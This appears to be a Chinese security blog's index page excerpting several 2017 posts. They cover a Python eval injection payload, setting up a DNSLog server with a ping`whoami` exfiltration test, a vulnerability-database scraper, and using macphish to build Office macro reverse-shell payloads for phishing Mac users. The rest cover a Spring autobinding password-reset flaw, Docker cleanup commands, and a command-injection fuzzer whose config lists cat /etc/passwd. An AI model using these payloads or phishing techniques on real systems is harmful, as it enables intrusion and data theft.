2017-12-09 363 0
python中eval 今天在审计python代码中看到了eval，于是这里做一个小笔记。 假设场景 有如下场景，eval("obj."+ hack)中hack是可控的，obj是一个对象如模块os. 攻击与利用 对于上面的场景，如果eval的参数完全可控的话，要利用就十分简单了。比如： 如果参数只是eval的一部分为数字，利用可以像下面的方式： 比较麻烦的是前面一部分假设场景的那种，里面是一个对象，比如： import os obj = os eval("obj."+hack) 或者 eval("hello"+hack) 或者 eval("hello."+hack) 这个时候的payload是: hack = "**init**,**import**('os').system('id')" 或者： hack = ".**init**,**import**('os').system('id')" 这里利用的是，字符串或者对象都有的默认的函数：init()，从而实现的： 测试如下图： 说明： 因为MD的格式问题，** 是双下划线的意思，看图就知道了。 找到的相关的几篇好文章： http://www.freebuf.com/articles/web/73658.html http://www.freebuf.com/articles/web/73669.html http://ju.outofmemory.cn/entry/195486... 继续阅读 »
2017-11-15 815 0
前几天在大土司上看到有大佬分享了一套dnslog平台代码，地址： https://github.com/LandGrey/dnstricker 该代码从最之前的BugScan的DNSLog二次开发而来，dnslog对于盲测有重要的意义。（听过CplusHua的盲攻击课程的人应该最能体会到）。下面记录的是我如何用一个域名+一台VPS完成一套dnslog平台的搭建。 1. 准备 买一了个域名coffeehb.cn 买了一台VPS Ubuntu 16.04x64 2.万网域名配置： 2.1 添加1个A记录指向我们的VPS 比如我这里： gitscan.coffeehb.cn 指向 47.52.234.114 2.2 添加2个NS记录指向，上一条的地址 比如我这里： dns.coffeehb.cn 和 dns1.coffeehb.cn 指向 gitscan.coffeehb.cn 3. 下载dnstricker代码使其跑起来 这里环境部署，依赖的模块，生成数据库操作等就不说了，GitHub的文档里有说明的。 直接说需要特别修改的配置地方。 3.1 修改dnstricker.py文件 修改dnstricker.py文件将126-128行的代码修改为实际的环境 比如我改成这样的: dns_domain = 'dns.coffeehb.cn' ip_address = '47.52.234.114' default_ip = '192.168.1.1' 3.2 修改/dnstricker/logeyes/dnslog/settings.py文件 需要修改的项和值如下： 做dns记录的域名 DNS_DOMAIN = 'dns.coffeehb.cn' 记录管理的域名 ADMIN_DOMAIN = 'dnslog.coffeehb.cn' NS域名 NS1DOMAIN = 'dns.coffeehb.cn' NS2DOMAIN = 'dns1.coffeehb.cn' 服务器外网地址 SERVERIP = '47.52.234.114' 允许的HOSTS ALLOWEDHOSTS = [".coffeehb.cn"] KEY SECRET_KEY=随便修改其中的某些位，随机的就OK 4. Nginx的配置文件 修改提供的nginx.conf文件中的server为实际环境，比如我的配置如下： 到这里所有的特殊配置就完成了，其他的那些Django的操作部分就自行解决吧。 特别注意一点，在添加前台用户的时候这个Udomain是个人唯一域名： 比如下面的测试账号： 5. 运行和测试 nohup python manage.py runserver 127.0.0.1:10101 & 登录测试账号测试DNSlog是否起作用 测试账号的Udomain为hack，所以所有的请求 *.hack.dns.coffeehb.cn的记录都会被记录下来，该用户可以通过登录控制台查看得到的。 测试命令： ping`whoami`.`hostname`.hack.dns.coffeehb.cn 测试截图如下： 6. 后话 基本完成了1个域名搭建一套自己的DNSLog的需求 nginx最好配置使用80端口，因为代码里很多跳转写死了. DNS记录和HTTP记录可以优化一下，根据IP去重不然记录的东西太多太杂了.... 继续阅读 »
2017-10-29 1559 0
CNVD, Exploit-DB,0day-today漏洞信息采集工具 背景 最近因为工作需要，自己写了一点小程序从CNVD,Exploit-DB,0day-today采集一些web相关的漏洞信息，然后根据需要的字段把采集回来的信息存储在mysql数据库中。 问题和解决思路 CNVD和0day-today都有云加速服务带来的前端浏览器检查，用传统办法构造http包形式进行信息爬取办法行不通，逆向分析前端校验JS程序成本太高（这里有一篇别人曾经的分析http://www.test404.com/post-776.html）。这类工具其实就是一个爬虫程序，要实现爬虫程序有很多方式， 经过对要采集的网站进行分析，最后使用了selenium 驱动浏览器来实现的成本最低。 简析源码 1）CNVD采集脚本实现 第一步获取所有的漏洞链接： 可以从下面这个地址去取得： http://www.cnvd.org.cn/flaw/typeResult?max=100&offset=1&typeId=29 我这里使用正则表达式去获取每一个漏洞的CNVD编号 reg = 'CNVD-[\d-]+' find = re.compile(reg) all_CNVDs = [] url = "http://www.cnvd.org.cn/flaw/typeResult?max=100&offset=%s&typeId=29" % str(offset) html = self.getHtml(url, 3, 3) new_vulns = find.findall(html) if len(new_vulns) > 1: all_CNVDs += new_vulns else: print "nothing ....." return all_CNVDs 第二步再构造查看漏洞具体信息的地址： 比如： http://www.cnvd.org.cn/flaw/show/CNVD-2017-28254 然后再去解析出每一个字段，这里主要使用BeautifulSoup去解析html. 实现的脚本文件是：/cnvd/VulnsColect.py 2） Exploit-DB采集实现 exploit-db是最友好的网站了，没有前端的浏览器检查机制，这里完全可以用传统的python+requests或者爬虫框架来实现。 同样需要关注的2个接口 获取漏洞链接： https://www.exploit-db.com/webapps/?orderby=datepublished&order=desc&pg=1 获取详细信息： https://www.exploit-db.com/exploits/43053/ 实现的脚本文件是：exploitdb/crawler.py 3) 0day.today采集 这个网站的采集和CNVD的差不多，但是因为这个网站在国外加上有前端浏览器检查，所以加载速度特别慢。 不过思路大致一样： 从如下面的接口去解析漏洞的链接： http://0day.today/platforms/asp/1 然后再用BeautifulSoup去解析出各个需要保存的字段，一看代码就能明白的。 最后的数据截图： 下载地址 下载地址... 继续阅读 »
2017-09-19 576 0
Office for Mac Macro Payload Generator 一款用于Mac下Office利用宏生成反弹shell Payload的工具 GitHub开源地址： macphish 官方wiki： Usage 下面使用Mac + Office 2016 + msf的meterpreter进行测试, 根据wiki说明只能使用payload类型为python 的。 第一步：生成payload ./macphish.py -lh 127.0.0.1 -lp 65511 -p python/meterpreter/reverse_http -a meterpreter -m 第二步：制作word文件，插入宏代码 插入生成的payload文件： 第三步：打开msf监听 这里GET新技巧，可以把下面的代码保存为sh文件，配置到环境变量，比如我的Mac配置： 我这样配置以后，每次只需要打开终端，输入：startmsf 即可 最后：双击打开testme测试文档获得shell 这个工具还是很有用处，生成的payload过了大部分杀软，专门对Mac用户做钓鱼是极好的！！！ 绝密：绝密文件... 继续阅读 »
2017-09-15 680 2
本案例在测试客户的WEB系统时遇到，这里做一下复现笔记，记录一种姿势！！ 关于MVC的对象自动绑定的说明可以看这篇： http://agrrrdog.blogspot.ru/2017/03/autobinding-vulns-and-spring-mvc.html 复现过程如下： 输入账号，填写验证码 配置burp代理，点击“下一步” 抓包 抓到原始的请求 添加email=hacker@qq.com 发送成功 收到邮件 重置密码： 8.成功重置 思考与讨论： 1. 这种漏洞感觉很有意思，如何做自动化测试或半自动化fuzz? 2. 以后见到JAVA WEB类网站，一定别忘了这种姿势啊！！！不能忘！！不能忘！！！ 3. 后来发现，凡是修改信息的地方，这种姿势都能有效，哪么一种越权漏洞就产生了，甚至利用面还有更广的？... 继续阅读 »![Docker 清理命令集锦[转]](http://www.coffeehb.cn//zb_users/theme/tblog5/style/Category/1.jpg)
2017-05-04 522 0
这篇文章主要介绍了Docker 清理命令集锦,需要的朋友可以参考下 杀死所有正在运行的容器 docker kill $(docker ps -a -q) 删除所有已经停止的容器 docker rm $(docker ps -a -q) 删除所有未打 dangling 标签的镜像 docker rmi $(docker images -q -f dangling=true) 删除所有镜像 docker rmi $(docker images -q) ~/.bash_aliases 杀死所有正在运行的容器. alias dockerkill='docker kill $(docker ps -a -q)' 删除所有已经停止的容器. alias dockercleanc='docker rm $(docker ps -a -q)' 删除所有未打标签的镜像. alias dockercleani='docker rmi $(docker images -q -f dangling=true)' 删除所有已经停止的容器和未打标签的镜像. alias dockerclean='dockercleanc || true && dockercleani' 另附上docker常用命令 docker version #查看版本 docker search tutorial#搜索可用docker镜像 docker pull learn/tutorial #下载镜像 docker run learn/tutorial echo "hello word"#在docker容器中运行hello world! docker run learn/tutorial apt-get install -y ping#在容器中安装新的程序 保存镜像 首先使用docker ps -l命令获得安装完ping命令之后容器的id。然后把这个镜像保存为learn/ping。 提示： 1.运行docker commit，可以查看该命令的参数列表。 2.你需要指定要提交保存容器的ID。(译者按：通过docker ps -l 命令获得) 3.无需拷贝完整的id，通常来讲最开始的三至四个字母即可区分。（译者按：非常类似git里面的版本号) 正确的命令： docker commit 698 learn/ping 运行新的镜像 docker run lean/ping ping www.google.com 检查运行中的镜像 现在你已经运行了一个docker容器，让我们来看下正在运行的容器。 使用docker ps命令可以查看所有正在运行中的容器列表，使用docker inspect命令我们可以查看更详细的关于某一个容器的信息。 目标： 查找某一个运行中容器的id，然后使用docker inspect命令查看容器的信息。 提示： 可以使用镜像id的前面部分，不需要完整的id。 正确的命令： docker inspect efe ps目前还在开发阶段，不建议部署到生产环境中，继续观望中。。。... 继续阅读 »
2017-04-09 625 0
一个半自动化的命令注入Fuzz工具－OCIFT 1. OCIFT是什么 一个半自动化命令注入漏洞Fuzz工具(One Semi-automation command injection vulnerability Fuzz tool)简写为:OCIFT 2. OCIFT有什么用 这是一种半自动化的黑盒测试工具,它可以帮助渗透测试人员或代码审计人员在愉快的上网的同时，深度挖掘目标应用系统存在的命令注入漏洞。 3. OCIFT有什么特点 Payload基于Commix生成方式修改而来(需要持续完善). 基于浏览器代理的半自动化Fuzz. 多线程Fuzz速度快,不影响正常浏览器访问使用. 支持设置白名单限制Fuzz范围. 支持设置黑名单避免带来不必要的麻烦. 支持DNSLog辅助验证 4. OCIFT实现思路 基于Tornado的实现一个代理服务器，解析GET／POST请求提取Fuzz点，带入payload进行Fuzz测试。 文件结构说明 ➜ cifuzz git:(master) ✗ tree . |____run.py 主程序入口 |____dnslog.py DNSLog SDK |____fuzz.conf 配置文件 |____fuzz.py Fuzz线程 |____make_payload.py Payload生成器 |____readme.md 说明文档 5. 配置文件说明 配置各个参数,以逗号分隔 [initconfig] 黑名单HOST－为了避免带来不必要的麻烦 black_hosts =.gov,localhost,127.0.0.1,google,gstatic,cnzz.com,doubleclick,police,mil.cn,gov.cn,gov.com 静态文件黑名单-这些不做Fuzz url_ext_black =.ico,.flv,.css,.jpg,.png,.jpeg,.gif,.pdf,.ss3,.txt,.rar,.zip,.avi,.mp4,.swf,.wmi,.exe,.mpeg 白名单HOST-为了限制Fuzz的范围, 默认为空-表示对除黑名单范围外的所有地址进行Fuzz. white_site =qunar 请求超时-限制每次Fuzz请求超时时间 timeout =10 我的DnsLog地址 my_cloudeye =ano1qu2j.xfkxfk.com 判断是够注入命令执行成功的关键字 checkkeys =110586256,/bin/bash,nameserver,IPv4,Windows IP 用于测试命令注入的基本命令 base_command =cat /etc/resolv.conf,echo 110586256,cat /etc/passwd,ipconfig,ping CommandInj.{my_cloudeye},echo 110586256<nul Fuzz线程数 fuzz_count =20 fuzz的payload类型, 默认False-表示使用自定义的规则 commix_payload_type = False DnsLog登录会话ID,我用的xfkxfk牛的dnslog.xfkxfk.com dnslog_sessionid =q6wva2e3skg79vkdegra2bygft0d1 Your Domain custom_domain =a2fta2j 记录成功结果的Log文件 Logfile =rce_success_results.txt 6.如何使用 1.安装模块 pip install tornado pip install requests 2.根据自己需要完成文件fuzz.conf的配置 3.启用主程序 python run.py 8089 如下图: 4.设置浏览器代理 然后会自动开始Fuzz 7.总结 基本实现了想要的半自动化Fuzz功能 payload还需要不断优化 Github地址：OCIFT地址 欢迎大佬提出改进意见，多谢咯！！... 继续阅读 »